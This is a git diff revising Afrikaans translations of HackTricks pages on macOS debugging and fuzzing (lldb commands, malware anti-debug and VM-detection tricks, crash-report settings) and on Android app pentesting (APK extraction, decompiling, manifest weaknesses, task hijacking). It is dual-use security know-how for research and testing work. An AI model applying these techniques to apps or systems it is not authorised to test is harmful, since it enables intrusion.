[**SpriteTree**](https://themittenmac.com/tools/) is 'n instrument om die verhoudings tussen prosesse af te druk.\
|
||||
[**SpriteTree**](https://themittenmac.com/tools/) is 'n instrument wat die verhoudings tussen prosesse afdruk.\
|
||||
Jy moet jou Mac monitor met 'n bevel soos **`sudo eslogger fork exec rename create > cap.json`** (die terminal wat dit lanceer, vereis FDA). En dan kan jy die json in hierdie instrument laai om al die verhoudings te sien:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1182).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
@ -329,11 +393,11 @@ Jy moet jou Mac monitor met 'n bevel soos **`sudo eslogger fork exec rename crea
|
|||
|
||||
### Crescendo
|
||||
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is 'n GUI-instrument met die uiterlike van Windows-gebruikers wat dalk bekend is met Microsoft Sysinternal se _Procmon_. Hierdie instrument maak dit moontlik om die opname van verskeie gebeurtipes te begin en te stop, maak dit moontlik om hierdie gebeure te filter volgens kategorieë soos lêer, proses, netwerk, ens., en bied die funksionaliteit om die opgeneemde gebeure in 'n json-formaat te stoor.
|
||||
[**Crescendo**](https://github.com/SuprHackerSteve/Crescendo) is 'n GUI-instrument met die uiterlike wat Windows-gebruikers mag ken van Microsoft Sysinternal se _Procmon_. Hierdie instrument maak dit moontlik om die opname van verskeie tipes gebeure te begin en te stop, maak dit moontlik om hierdie gebeure te filter volgens kategorieë soos lêer, proses, netwerk, ens., en bied die funksionaliteit om die opgeneemde gebeure in 'n json-formaat te stoor.
|
||||
|
||||
### Apple Instruments
|
||||
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels – gebruik vir die monitor van programprestasie, identifisering van geheuelekasies en opsporing van lêersisteemaktiwiteit.
|
||||
[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) is deel van Xcode se Ontwikkelaarshulpmiddels – gebruik vir die monitor van programprestasie, identifisering van geheue lekke en opsporing van lêersisteemaktiwiteit.
|
||||
|
||||
![](<../../../.gitbook/assets/image (1138).png>)
|
||||
|
||||
|
@ -370,10 +434,10 @@ settings set target.x86-disassembly-flavor intel
|
|||
Binne lldb, dump 'n proses met `process save-core`
|
||||
{% endhint %}
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Beskrywing</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat sal voortgaan totdat 'n breekpunt getref word of die proses eindig.</td></tr><tr><td><strong>continue (c)</strong></td><td>Laat die uitvoering van die gedebugde proses voortgaan.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal oorspring oor funksie-oproepe.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie ("raam") uit en hou op.</td></tr><tr><td><strong>control + c</strong></td><td>Onderbreek die uitvoering. As die proses uitgevoer (r) of voortgesit (c) is, sal dit veroorsaak dat die proses ...waar dit tans uitgevoer word, gestop word.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Enige funksie genaamd main</p><p>b <binname>`main #Hoof funksie van die bin</p><p>b set -n main --shlib <lib_name> #Hoof funksie van die aangeduide bin</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Breekpunt lys</p><p>br e/dis <num> #Aktiveer/Deaktiveer breekpunt</p><p>breakpoint delete <num></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kry hulp van breekpunt-opdrag</p><p>help memory write #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/geheue-adres></strong></td><td>Wys die geheue as 'n nul-geëindigde string.</td></tr><tr><td><strong>x/i <reg/geheue-adres></strong></td><td>Wys die geheue as samestellingsinstruksie.</td></tr><tr><td><strong>x/b <reg/geheue-adres></strong></td><td>Wys die geheue as byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dit sal die voorwerp wat deur die parameter verwys word, druk</p><p>po $raw</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Merk op dat die meeste van Apple se Objective-C API's of metodes voorwerpe teruggee, en dus deur die "druk voorwerp" (po) opdrag vertoon behoort te word. As po nie 'n betekenisvolle uitset lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Skryf AAAA na daardie adres<br>memory write -f s $rip+0x11f+7 "AAAA" #Skryf AAAA na die adres</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Ontas huidige funksie</p><p>dis -n <funcname> #Ontas funksie</p><p>dis -n <funcname> -b <basename> #Ontas funksie<br>dis -c 6 #Ontas 6 lyne<br>dis -c 0x100003764 -e 0x100003768 # Van een adres tot die ander<br>dis -p -c 4 # Begin in die huidige adres met ontas</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer 'n reeks van 3 komponente in x1 reg</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="225"></th><th></th></tr></thead><tbody><tr><td><strong>(lldb) Opdrag</strong></td><td><strong>Beskrywing</strong></td></tr><tr><td><strong>run (r)</strong></td><td>Begin uitvoering, wat sal voortgaan totdat 'n breekpunt getref word of die proses eindig.</td></tr><tr><td><strong>continue (c)</strong></td><td>Laat die uitvoering van die gedebugde proses voortgaan.</td></tr><tr><td><strong>nexti (n / ni)</strong></td><td>Voer die volgende instruksie uit. Hierdie opdrag sal oor funksie-oproepe spring.</td></tr><tr><td><strong>stepi (s / si)</strong></td><td>Voer die volgende instruksie uit. Anders as die nexti-opdrag, sal hierdie opdrag in funksie-oproepe stap.</td></tr><tr><td><strong>finish (f)</strong></td><td>Voer die res van die instruksies in die huidige funksie ("raam") uit en hou op.</td></tr><tr><td><strong>control + c</strong></td><td>Onderbreek uitvoering. As die proses uitgevoer (r) of voortgesit (c) is, sal dit veroorsaak dat die proses halthou waar dit tans uitgevoer word.</td></tr><tr><td><strong>breakpoint (b)</strong></td><td><p>b main #Enige funksie genoem main</p><p>b <binnaam>`main #Hooffunksie van die bin</p><p>b set -n main --shlib <lib_naam> #Hooffunksie van die aangeduide bin</p><p>b -[NSDictionary objectForKey:]</p><p>b -a 0x0000000100004bd9</p><p>br l #Breekpuntlys</p><p>br e/dis <nommer> #Aktiveer/Deaktiveer breekpunt</p><p>breakpoint delete <nommer></p></td></tr><tr><td><strong>help</strong></td><td><p>help breakpoint #Kry hulp van breekpuntopdrag</p><p>help memory write #Kry hulp om in die geheue te skryf</p></td></tr><tr><td><strong>reg</strong></td><td><p>reg read</p><p>reg read $rax</p><p>reg read $rax --format <<a href="https://lldb.llvm.org/use/variable.html#type-format">formaat</a>></p><p>reg write $rip 0x100035cc0</p></td></tr><tr><td><strong>x/s <reg/geheue-adres></strong></td><td>Vertoon die geheue as 'n nul-geëindigde string.</td></tr><tr><td><strong>x/i <reg/geheue-adres></strong></td><td>Vertoon die geheue as samestellingsinstruksie.</td></tr><tr><td><strong>x/b <reg/geheue-adres></strong></td><td>Vertoon die geheue as byte.</td></tr><tr><td><strong>print object (po)</strong></td><td><p>Dit sal die voorwerp wat deur die parameter verwys word, druk</p><p>po $ra</p><p><code>{</code></p><p><code>dnsChanger = {</code></p><p><code>"affiliate" = "";</code></p><p><code>"blacklist_dns" = ();</code></p><p>Merk op dat die meeste van Apple se Objective-C API's of metodes voorwerpe teruggee, en dus vertoon moet word via die "druk voorwerp" (po) opdrag. As po nie 'n betekenisvolle uitvoer lewer nie, gebruik <code>x/b</code></p></td></tr><tr><td><strong>memory</strong></td><td>memory read 0x000....<br>memory read $x0+0xf2a<br>memory write 0x100600000 -s 4 0x41414141 #Skryf AAAA in daardie adres<br>memory write -f s $rip+0x11f+7 "AAAA" #Skryf AAAA in die adres</td></tr><tr><td><strong>disassembly</strong></td><td><p>dis #Ontas huidige funksie</p><p>dis -n <funksienaam> #Ontas funksie</p><p>dis -n <funksienaam> -b <basenaam> #Ontas funksie<br>dis -c 6 #Ontas 6 lyne<br>dis -c 0x100003764 -e 0x100003768 # Van een adres tot die ander<br>dis -p -c 4 # Begin in die huidige adres met ontas</p></td></tr><tr><td><strong>parray</strong></td><td>parray 3 (char **)$x1 # Kontroleer 'n reeks van 3 komponente in x1 reg</td></tr></tbody></table>
|
||||
|
||||
{% hint style="info" %}
|
||||
Wanneer die **`objc_sendMsg`**-funksie geroep word, hou die **rsi** register die **naam van die metode** as 'n nul-geëindigde ("C") string. Om die naam via lldb af te druk, doen die volgende:
|
||||
Wanneer die **`objc_sendMsg`**-funksie geroep word, hou die **rsi**-register die **naam van die metode** as 'n nul-geëindigde ("C") string. Om die naam via lldb af te druk, doen die volgende:
|
||||
|
||||
`(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"`
|
||||
|
||||
|
@ -390,21 +454,31 @@ Wanneer die **`objc_sendMsg`**-funksie geroep word, hou die **rsi** register die
|
|||
* Die opdrag **`sysctl hw.model`** gee "Mac" terug wanneer die **gasheer 'n MacOS** is, maar iets anders wanneer dit 'n VM is.
|
||||
* Deur te speel met die waardes van **`hw.logicalcpu`** en **`hw.physicalcpu`** probeer sommige kwaadwillige sagteware om te bepaal of dit 'n VM is.
|
||||
* Sommige kwaadwillige sagteware kan ook **vasstel** of die masjien **VMware**-gebaseer is op grond van die MAC-adres (00:50:56).
|
||||
* Dit is ook moontlik om te bepaal of 'n proses gedebugeer word met 'n eenvoudige kode soos:
|
||||
* Dit is ook moontlik om te vind **of 'n proses gedebugeer word** met 'n eenvoudige kode soos:
|
||||
* `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //proses wat gedebugeer word }`
|
||||
* Dit kan ook die **`ptrace`**-sisteemaanroep met die **`PT_DENY_ATTACH`**-vlag aanroep. Dit **voorkom** dat 'n deb**u**gger kan aanheg en naspeur.
|
||||
* Dit kan ook die **`ptrace`**-sisteemaanroep aanroep met die **`PT_DENY_ATTACH`**-vlag. Dit **voorkom** dat 'n deb**u**gger aanheg en naspeur.
|
||||
* Jy kan nagaan of die **`sysctl`** of **`ptrace`**-funksie **ingevoer** word (maar die kwaadwillige sagteware kan dit dinamies invoer)
|
||||
* Soos opgemerk in hierdie uiteensetting, “[Defeating Anti-Debug Techniques: macOS ptrace variants](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)” :\
|
||||
“_Die boodskap Proses # het geëindig met **status = 45 (0x0000002d)** is gewoonlik 'n duidelike teken dat die doel van die debuut **PT\_DENY\_ATTACH** gebruik_”
|
||||
## Kernafdrukke
|
||||
|
||||
Kernafdrukke word geskep as:
|
||||
|
||||
- `kern.coredump` sysctl is ingestel op 1 (standaard)
|
||||
- As die proses nie suid/sgid was nie of `kern.sugid_coredump` is 1 (standaard is 0)
|
||||
- Die `AS_CORE` limiet die operasie toelaat. Dit is moontlik om kernafdrukke te onderdruk deur `ulimit -c 0` te roep en hulle weer in te skakel met `ulimit -c unlimited`.
|
||||
|
||||
In daardie gevalle word die kernafdrukke gegenereer volgens `kern.corefile` sysctl en gewoonlik gestoor in `/cores/core/.%P`.
|
||||
|
||||
## Fuzzing
|
||||
|
||||
### [ReportCrash](https://ss64.com/osx/reportcrash.html)
|
||||
|
||||
ReportCrash **ontledingsprosesse wat afstort en 'n afstortverslag na skyf stoor**. 'N Afstortverslag bevat inligting wat kan **help om 'n ontwikkelaar te diagnoseer** die oorsaak van 'n afstorting.\
|
||||
Vir aansoeke en ander prosesse **wat in die per-gebruiker launchd-konteks hardloop**, hardloop ReportCrash as 'n LaunchAgent en stoor afstortverslae in die gebruiker se `~/Library/Logs/DiagnosticReports/`\
|
||||
Vir daemons, ander prosesse **wat in die stelsel launchd-konteks hardloop** en ander bevoorregte prosesse, hardloop ReportCrash as 'n LaunchDaemon en stoor afstortverslae in die stelsel se `/Library/Logs/DiagnosticReports`
|
||||
ReportCrash **analiseer afbreekprosesse en stoor 'n afbreekverslag op die skyf**. 'N afbreekverslag bevat inligting wat 'n ontwikkelaar kan help om die oorsaak van 'n afbreek te diagnoseer.\
|
||||
Vir aansoeke en ander prosesse wat **in die per-gebruiker launchd-konteks hardloop**, hardloop ReportCrash as 'n LaunchAgent en stoor afbreekverslae in die gebruiker se `~/Library/Logs/DiagnosticReports/`\
|
||||
Vir daemons, ander prosesse **wat in die stelsel launchd-konteks hardloop** en ander bevoorregte prosesse, hardloop ReportCrash as 'n LaunchDaemon en stoor afbreekverslae in die stelsel se `/Library/Logs/DiagnosticReports`
|
||||
|
||||
As jy bekommerd is oor afstortverslae **wat aan Apple gestuur word** kan jy dit deaktiveer. Indien nie, kan afstortverslae nuttig wees om **uit te vind hoe 'n bediener afgestort het**.
|
||||
As jy bekommerd is oor afbreekverslae **wat aan Apple gestuur word** kan jy hulle deaktiveer. Indien nie, kan afbreekverslae nuttig wees om **uit te vind hoe 'n bediener afgebreek het**.
|
||||
```bash
|
||||
#To disable crash reporting:
|
||||
launchctl unload -w /System/Library/LaunchAgents/com.apple.ReportCrash.plist
|
||||
|
@ -416,7 +490,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/com.apple.ReportCrash.Root.
|
|||
```
|
||||
### Slaap
|
||||
|
||||
Tydens fuzzing in 'n MacOS is dit belangrik om die Mac nie te laat slaap nie:
|
||||
Tydens fuzzing in 'n MacOS is dit belangrik om te voorkom dat die Mac gaan slaap:
|
||||
|
||||
* systemsetup -setsleep Never
|
||||
* pmset, Sisteemvoorkeure
|
||||
|
@ -424,7 +498,7 @@ Tydens fuzzing in 'n MacOS is dit belangrik om die Mac nie te laat slaap nie:
|
|||
|
||||
#### SSH Onderbreek
|
||||
|
||||
As jy fuzzing doen via 'n SSH-verbinding is dit belangrik om seker te maak dat die sessie nie gaan verstryk nie. Verander dus die sshd\_config-lêer met:
|
||||
Indien jy fuzzing doen via 'n SSH-verbinding is dit belangrik om seker te maak dat die sessie nie gaan verstryk nie. Verander dus die sshd\_config-lêer met:
|
||||
|
||||
* TCPKeepAlive Ja
|
||||
* ClientAliveInterval 0
|
||||
|
@ -435,7 +509,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist
|
|||
```
|
||||
### Interne Handlers
|
||||
|
||||
**Kyk na die volgende bladsy** om uit te vind hoe jy kan bepaal watter toepassing verantwoordelik is vir **die hanteer van die gespesifiseerde skema of protokol:**
|
||||
**Kyk na die volgende bladsy** om uit te vind hoe jy kan bepaal watter program verantwoordelik is vir **die hanteer van die gespesifiseerde skema of protokol:**
|
||||
|
||||
{% content-ref url="../macos-file-extension-apps.md" %}
|
||||
[macos-file-extension-apps.md](../macos-file-extension-apps.md)
|
||||
|
@ -520,7 +594,7 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash
|
|||
|
||||
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **diefstal malware** **gekompromiteer** is.
|
||||
|
||||
Hul primêre doel van WhiteIntel is om rekeningoorname en afpersingsaanvalle te beveg wat voortspruit uit inligtingsteel malware.
|
||||
Hul primêre doel van WhiteIntel is om rekening-oorneem te bekamp en losgeldware-aanvalle as gevolg van inligtingsteel-malware te voorkom.
|
||||
|
||||
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
|
||||
|
||||
|
@ -535,7 +609,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -22,7 +22,7 @@ Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) be
|
|||
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hak bevat
|
||||
|
||||
**Haknuus in Werklikheid**\
|
||||
Bly op hoogte van die snelveranderende hakwêreld deur werklike nuus en insigte
|
||||
Bly op hoogte van die snelveranderende hakwêreld deur werklikheidsnuus en insigte
|
||||
|
||||
**Nuutste Aankondigings**\
|
||||
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
|
||||
|
@ -42,17 +42,17 @@ Dit word sterk aanbeveel om hierdie bladsy te begin lees om meer te wete te kom
|
|||
Dit is die belangrikste gereedskap wat jy nodig het om aan 'n Android-toestel (nageboots of fisies) te koppel.\
|
||||
**ADB** maak dit moontlik om toestelle te beheer oor **USB** of **Netwerk** vanaf 'n rekenaar. Hierdie nut stel die **kopieer** van lêers in beide rigtings, **installeer** en **deïnstalleer** van programme, **uitvoer** van skelopdragte, **back-up** van data, **lees** van logboeke, onder andere funksies, moontlik.
|
||||
|
||||
Neem 'n kykie na die volgende lys van [**ADB-opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
|
||||
Neem 'n kyk na die volgende lys van [**ADB-opdragte**](adb-commands.md) om te leer hoe om adb te gebruik.
|
||||
|
||||
## Smali
|
||||
|
||||
Dit is soms interessant om die toepassingskode te **verander om toegang te verkry tot** **verskuilde inligting** (miskien goed verduisterde wagwoorde of vlae). Dan kan dit interessant wees om die apk te dekompilieer, die kode te wysig en dit weer saam te stel.\
|
||||
[**In hierdie handleiding** kan jy **leer hoe om 'n APK te dekompilieer, Smali-kode te wysig en die APK weer saam te stel** met die nuwe funksionaliteit](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. **Hou dus altyd hierdie moontlikheid in gedagte**.
|
||||
[**In hierdie handleiding** kan jy **leer hoe om 'n APK te dekompilieer, Smali-kode te wysig en die APK weer saam te stel** met die nuwe funksionaliteit](smali-changes.md). Dit kan baie nuttig wees as 'n **alternatief vir verskeie toetse tydens die dinamiese analise** wat aangebied gaan word. **Hou altyd hierdie moontlikheid in gedagte**.
|
||||
|
||||
## Ander interessante truuks
|
||||
|
||||
* [Spoofing jou ligging in Play Store](spoofing-your-location-in-play-store.md)
|
||||
* **Laai APK's af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/)
|
||||
* **Laai APK's af**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||
* Haal APK uit toestel:
|
||||
```bash
|
||||
adb shell pm list packages
|
||||
|
@ -63,7 +63,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
|||
|
||||
adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk
|
||||
```
|
||||
* Voeg alle splits en basis apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
* Voeg alle splits en basiese apks saam met [APKEditor](https://github.com/REAndroid/APKEditor):
|
||||
```bash
|
||||
mkdir splits
|
||||
adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 1 | xargs -n1 -i adb pull {} splits
|
||||
|
@ -79,7 +79,7 @@ Lees asseblief [**hier om inligting oor verskillende beskikbare decompilers te v
|
|||
|
||||
### Op soek na interessante Inligting
|
||||
|
||||
Deur net na die **strings** van die APK te kyk, kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **enkripsie**, **bluetooth uuids**, **tokens** en enige iets interessant... soek selfs vir kode-uitvoer **agterdeure** of outentiseringsagterdeure (hardgekode admin-gedragskode vir die app).
|
||||
Deur net te kyk na die **strings** van die APK kan jy soek na **wagwoorde**, **URL's** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** sleutels, **enkripsie**, **bluetooth uuids**, **tokens** en enige iets interessant... soek selfs vir kode-uitvoer **agterdeure** of verifikasie agterdeure (hardcoded admin-verifikasiebesonderhede vir die program).
|
||||
|
||||
**Firebase**
|
||||
|
||||
|
@ -87,19 +87,19 @@ Betaal spesiale aandag aan **firebase URL's** en kyk of dit sleg geconfigureer i
|
|||
|
||||
### Basiese begrip van die aansoek - Manifest.xml, strings.xml
|
||||
|
||||
Die **ondersoek van 'n aansoek se \_Manifest.xml** en **strings.xml** lêers kan potensiële sekuriteitskwessies aan die lig bring. Hierdie lêers kan benader word deur decompilers te gebruik of deur die APK-lêernaamuitbreiding na .zip te verander en dit dan te ontzip.
|
||||
Die **ondersoek van 'n aansoek se \_Manifest.xml** en **strings.xml** lêers kan potensiële sekuriteitskwessies aan die lig bring. Hierdie lêers kan benader word deur decompilers te gebruik of deur die APK lêernaamuitbreiding na .zip te verander en dit dan te ontzip.
|
||||
|
||||
**Kwessies** wat geïdentifiseer word vanuit die **Manifest.xml** sluit in:
|
||||
|
||||
* **Toepassings wat gedebug kan word**: Toepassings wat as gedebug kan word (`debuggable="true"`) ingestel is in die _Manifest.xml_ lêer, stel 'n risiko omdat dit verbindings toelaat wat tot uitbuiting kan lei. Vir 'n verdere begrip van hoe om gedebugbare toepassings te benut, verwys na 'n handleiding oor die vind en benutting van gedebugbare toepassings op 'n toestel.
|
||||
* **Toepassings wat gedebug kan word**: Toepassings wat as gedebug kan word (`debuggable="true"`) in die _Manifest.xml_ lêer stel 'n risiko in omdat hulle verbindings toelaat wat tot uitbuiting kan lei. Vir 'n verdere begrip van hoe om gedebugbare toepassings te benut, verwys na 'n handleiding oor die vind en benutting van gedebugbare toepassings op 'n toestel.
|
||||
* **Agtergrondinstellings**: Die `android:allowBackup="false"` eienskap moet uitdruklik ingestel word vir toepassings wat met sensitiewe inligting werk om ongemagtigde databack-ups via adb te voorkom, veral wanneer usb-debogging geaktiveer is.
|
||||
* **Netwerksekuriteit**: Aangepaste netwerksekuriteitskonfigurasies (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ kan sekuriteitsbesonderhede soos sertifikaatpenne en HTTP-verkeersinstellings spesifiseer. 'n Voorbeeld is om HTTP-verkeer vir spesifieke domeine toe te laat.
|
||||
* **Geëksporteerde Aktiwiteite en Dienste**: Die identifisering van geëksporteerde aktiwiteite en dienste in die manifest kan komponente uitlig wat misbruik kan word. Verdere analise tydens dinamiese toetsing kan onthul hoe om hierdie komponente te benut.
|
||||
* **Inhoudsverskaffers en Lêerverskaffers**: Blootgestelde inhoudsverskaffers kan ongemagtigde toegang of wysiging van data toelaat. Die konfigurasie van Lêerverskaffers moet ook deeglik ondersoek word.
|
||||
* **Uitsaai-ontvangers en URL-skemas**: Hierdie komponente kan benut word vir uitbuiting, met spesiale aandag aan hoe URL-skemas bestuur word vir insetkwessies.
|
||||
* **SDK-weergawes**: Die `minSdkVersion`, `targetSDKVersion`, en `maxSdkVersion` eienskappe dui die ondersteunde Android-weergawes aan, wat die belangrikheid beklemtoon om verouderde, kwesbare Android-weergawes nie te ondersteun vir sekuriteitsredes nie.
|
||||
* **SDK-weergawes**: Die `minSdkVersion`, `targetSDKVersion` en `maxSdkVersion` eienskappe dui die ondersteunde Android-weergawes aan, wat die belangrikheid beklemtoon om verouderde, kwesbare Android-weergawes nie te ondersteun vir sekuriteitsredes nie.
|
||||
|
||||
Uit die **strings.xml** lêer kan sensitiewe inligting soos API-sleutels, aangepaste skemas, en ander ontwikkelaarnotas ontdek word, wat die noodsaaklikheid van 'n sorgvuldige hersiening van hierdie bronne beklemtoon.
|
||||
Uit die **strings.xml** lêer kan sensitiewe inligting soos API-sleutels, aangepaste skemas en ander ontwikkelaarsnotas ontdek word, wat die noodsaak vir 'n sorgvuldige hersiening van hierdie bronne beklemtoon.
|
||||
|
||||
### Tikjacking
|
||||
|
||||
|
@ -114,7 +114,7 @@ Vind meer inligting in:
|
|||
|
||||
### Taakontvoering
|
||||
|
||||
'n **Aktiwiteit** met die **`launchMode`** ingestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is vatbaar vir taakontvoering. Dit beteken dat 'n **aansoek** geïnstalleer kan word en as dit voor die werklike aansoek begin word, kan dit die taak van die werklike aansoek **ontvoer** (sodat die gebruiker met die **boosaardige aansoek dink hy gebruik die regte een**).
|
||||
'n **Aktiwiteit** met die **`launchMode`** ingestel op **`singleTask` sonder enige `taskAffinity`** gedefinieer is vatbaar vir taakontvoering. Dit beteken dat 'n **aansoek** geïnstalleer kan word en as dit voor die werklike aansoek begin word, kan dit die taak van die werklike aansoek **ontvoer** (sodat die gebruiker met die **boosaardige aansoek sal interaksioneer en dink hy gebruik die regte een**).
|
||||
|
||||
Meer inligting in:
|
||||
|
||||
|
@ -126,7 +126,7 @@ Meer inligting in:
|
|||
|
||||
**Interne Opberging**
|
||||
|
||||
In Android is lêers wat in **interne** opberging **gestoor** word, **ontwerp** om eksklusief deur die **aansoek** wat dit **geskep** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste aansoeke. Ontwikkelaars gebruik egter soms modusse soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers toe te laat om tussen verskillende aansoeke gedeel te word. Tog **beperk hierdie modusse nie toegang** tot hierdie lêers deur ander aansoeke nie, insluitend moontlik boosaardige aansoeke.
|
||||
In Android is lêers wat in **interne** opberging **gestoor** word, **ontwerp** om eksklusief deur die **aansoek** wat dit **geskep** het, toeganklik te wees. Hierdie sekuriteitsmaatreël word **afgedwing** deur die Android-bedryfstelsel en is oor die algemeen voldoende vir die sekuriteitsbehoeftes van die meeste aansoeke. Ontwikkelaars gebruik egter soms modusse soos `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` om lêers **toe te laat om gedeel te word** tussen verskillende aansoeke. Tog **beperk hierdie modusse nie toegang** tot hierdie lêers deur ander aansoeke nie, insluitend moontlik boosaardige aansoeke.
|
||||
|
||||
1. **Statische Analise:**
|
||||
* **Verseker** dat die gebruik van `MODE_WORLD_READABLE` en `MODE_WORLD_WRITABLE` **sorgvuldig ondersoek** word. Hierdie modusse **kan potensieel lêers blootstel** aan **ongewenste of ongemagtigde toegang**.
|
||||
|
@ -145,12 +145,12 @@ Wanneer daar gewerk word met lêers op **eksterne opberging**, soos SD-kaarte, m
|
|||
3. **Hantering van Data van Eksterne Opberging**:
|
||||
* Voer altyd **insetvalidering** uit op data wat van eksterne opberging herwin word. Dit is krities omdat die data van 'n onbetroubare bron afkomstig is.
|
||||
